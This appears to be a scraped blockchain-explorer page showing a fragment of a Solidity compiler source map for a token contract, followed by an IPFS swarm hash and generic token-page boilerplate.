:72;;;;-1:-1:-1;;;11728:72:0;;9231:2:1;11728:72:0;;;9213:21:1;9270:2;9250:18;;;9243:30;9309:34;9289:18;;;9282:62;-1:-1:-1;;;9360:18:1;;;9353:36;9406:19;;11728:72:0;9029:402:1;11728:72:0;-1:-1:-1;;;;;11836:15:0;;;:9;:15;;;;;;;;;;;11854:20;;;11836:38;;11889:13;;;;;;;;;;:23;;;;;;11941:26;;1342:25:1;;;11889:13:0;;11941:26;;1315:18:1;11941:26:0;;;;;;;11980:37;17864:2455;20668:1352;20765:4;20721:23;9754:18;;;;;;;;;;;;20820:20;;;20816:59;;20857:7;;20668:1352;:::o;20816:59::-;20895:7;;20888:6;;:14;;;;:::i;:::-;20907:1;20887:21;20883:1130;;20944:1;20926:15;:19;:59;;;;;20967:18;;20949:15;:36;20926:59;20923:443;;;-1:-1:-1;17864:2455:0;;:::o;20923:443::-;21074:21;21098:28;21122:3;21098:19;21109:7;;21098:6;:10;;:19;;;;:::i;:28::-;21074:52;-1:-1:-1;21141:23:0;21074:52;21141:23;;:::i;:::-;;;21192:18;;21183:6;:27;21179:176;;;21246:18;;21231:33;;21179:176;;20883:1130;21420:1;21402:15;:19;:66;;;;-1:-1:-1;21443:18:0;;:25;;21466:1;21443:22;:25::i;:::-;21425:15;:43;21402:66;21399:607;;;21485:7;;20668:1352;:::o;21399:607::-;21540:1;21522:15;:19;:66;;;;-1:-1:-1;21563:18:0;;:25;;21586:1;21563:22;:25::i;:::-;21545:15;:43;21522:66;:106;;;;;21610:18;;21592:15;:36;21522:106;21518:488;;;21660:18;;:25;;21683:1;21660:22;:25::i;22032:104::-;22097:13;;22089:39;;-1:-1:-1;;;;;22097:13:0;;;;22089:39;;;;;22121:6;;22097:13;22089:39;22097:13;22089:39;22121:6;22097:13;22089:39;;;;;;;;;;;;;;;;;;;5853:98;5911:7;5938:5;5942:1;5938;:5;:::i;:::-;5931:12;5853:98;-1:-1:-1;;;5853:98:0:o;5959:::-;6017:7;6044:5;6048:1;6044;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:347::-;1965:6;1973;2026:2;2014:9;2005:7;2001:23;1997:32;1994:52;;;2042:1;2039;2032:12;1994:52;2065:29;2084:9;2065:29;:::i;:::-;2055:39;;2144:2;2133:9;2129:18;2116:32;2191:5;2184:13;2177:21;2170:5;2167:32;2157:60;;2213:1;2210;2203:12;2157:60;2236:5;2226:15;;;1900:347;;;;;:::o;2252:186::-;2311:6;2364:2;2352:9;2343:7;2339:23;2335:32;2332:52;;;2380:1;2377;2370:12;2332:52;2403:29;2422:9;2403:29;:::i;2884:260::-;2952:6;2960;3013:2;3001:9;2992:7;2988:23;2984:32;2981:52;;;3029:1;3026;3019:12;2981:52;3052:29;3071:9;3052:29;:::i;:::-;3042:39;;3100:38;3134:2;3123:9;3119:18;3100:38;:::i;:::-;3090:48;;2884:260;;;;;:::o;3149:380::-;3228:1;3224:12;;;;3271;;;3292:61;;3346:4;3338:6;3334:17;3324:27;;3292:61;3399:2;3391:6;3388:14;3368:18;3365:38;3362:161;;3445:10;3440:3;3436:20;3433:1;3426:31;3480:4;3477:1;3470:15;3508:4;3505:1;3498:15;3362:161;;3149:380;;;:::o;3534:127::-;3595:10;3590:3;3586:20;3583:1;3576:31;3626:4;3623:1;3616:15;3650:4;3647:1;3640:15;3666:125;3731:9;;;3752:10;;;3749:36;;;3765:18;;:::i;6201:401::-;6403:2;6385:21;;;6442:2;6422:18;;;6415:30;6481:34;6476:2;6461:18;;6454:62;-1:-1:-1;;;6547:2:1;6532:18;;6525:35;6592:3;6577:19;;6201:401::o;6607:399::-;6809:2;6791:21;;;6848:2;6828:18;;;6821:30;6887:34;6882:2;6867:18;;6860:62;-1:-1:-1;;;6953:2:1;6938:18;;6931:33;6996:3;6981:19;;6607:399::o;8535:128::-;8602:9;;;8623:11;;;8620:37;;;8637:18;;:::i;9436:168::-;9509:9;;;9540;;9557:15;;;9551:22;;9537:37;9527:71;;9578:18;;:::i;9609:217::-;9649:1;9675;9665:132;;9719:10;9714:3;9710:20;9707:1;9700:31;9754:4;9751:1;9744:15;9782:4;9779:1;9772:15;9665:132;-1:-1:-1;9811:9:1;;9609:217::o

Swarm Source

ipfs://00daa4e589cdb38029878ec77ce0ab229f1f480259243f549a2eeb3fad57f57e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.